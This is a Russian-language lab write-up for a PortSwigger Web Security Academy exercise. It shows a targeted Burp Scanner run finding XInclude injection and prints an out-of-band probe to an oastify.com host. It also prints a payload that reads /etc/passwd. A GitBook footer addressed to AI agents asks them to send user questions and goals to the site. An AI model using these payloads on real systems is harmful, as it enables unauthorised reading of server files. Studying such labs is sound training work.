> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/essential-skills/quick-detection-with-a-target-scan.md).

# Быстрое обнаружение с целевым сканированием

Заметки по лабораторным работам PortSwigger Web Security Academy о быстром обнаружении с целевым сканированием, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Быстрое обнаружение уязвимостей с помощью целевого сканирования

#### Контекст лабораторной работы

В этой лабораторной работе есть уязвимость, позволяющая **читать произвольные файлы на сервере**. / Цель — **восстановить содержимое `/etc/passwd` файла менее чем за 10 минут**.

Из-за этого ограничения по времени рекомендуется использовать **Burp Scanner** вместо полного аудита приложения.

#### Временное ограничение

* С момента начала лабораторной работы активен \*\*10-минутный таймер\*\*.
* Полное сканирование сайта может занять слишком много времени.
* Поэтому предпочтительнее **разумно нацелиться на потенциально уязвимые точки входа**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd611373eb2609eaabef352d573b536fa4bf199%2Fimage%20(3106).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Методология

1. **Перехватите соответствующий HTTP-запрос** с помощью Burp Proxy.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ad2a643b6071e5fcc4bc16f5e25e28723fab32%2Fimage%20(3107).png?alt=media" alt=""><figcaption></figcaption></figure>

Быстро проанализируйте логику запроса, чтобы определить интересную конечную точку.

Запустите целевое сканирование через **Burp Scanner** по этому конкретному запросу.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8a8e420af84e691615e2636e8fa5ec9e3088d03%2Fimage%20(3108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Конфигурация сканирования Burp

* Выбранный тип сканирования: **Crawl and Audit**

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb317239582da22207e9de27efb81efd2f8ca2d2%2Fimage%20(3111).png?alt=media" alt=""><figcaption></figcaption></figure>

* Режим: **Быстрое сканирование**

Цель: быстро выявить exploitable вектор атаки

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2750b15dace34bc1d795c6094a409ae2686e1a9d%2Fimage%20(3110).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Уязвимость обнаружена

Сканирование выявляет уязвимость типа **Внедрение XML (XInclude)**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad72d914a164b49edcc80febfba21e41a46573b1%2Fimage%20(3113).png?alt=media" alt=""><figcaption></figcaption></figure>

Исходный payload, обнаруженный Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Это подтверждает, что сервер обрабатывает **XInclude** сущности без ограничений.

#### Эксплуатация: чтение `/etc/passwd`

Payload изменяется, чтобы включить локальный системный файл:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41d780c461593fcb9771b49b6635810406d8f5a2%2Fimage%20(3115).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
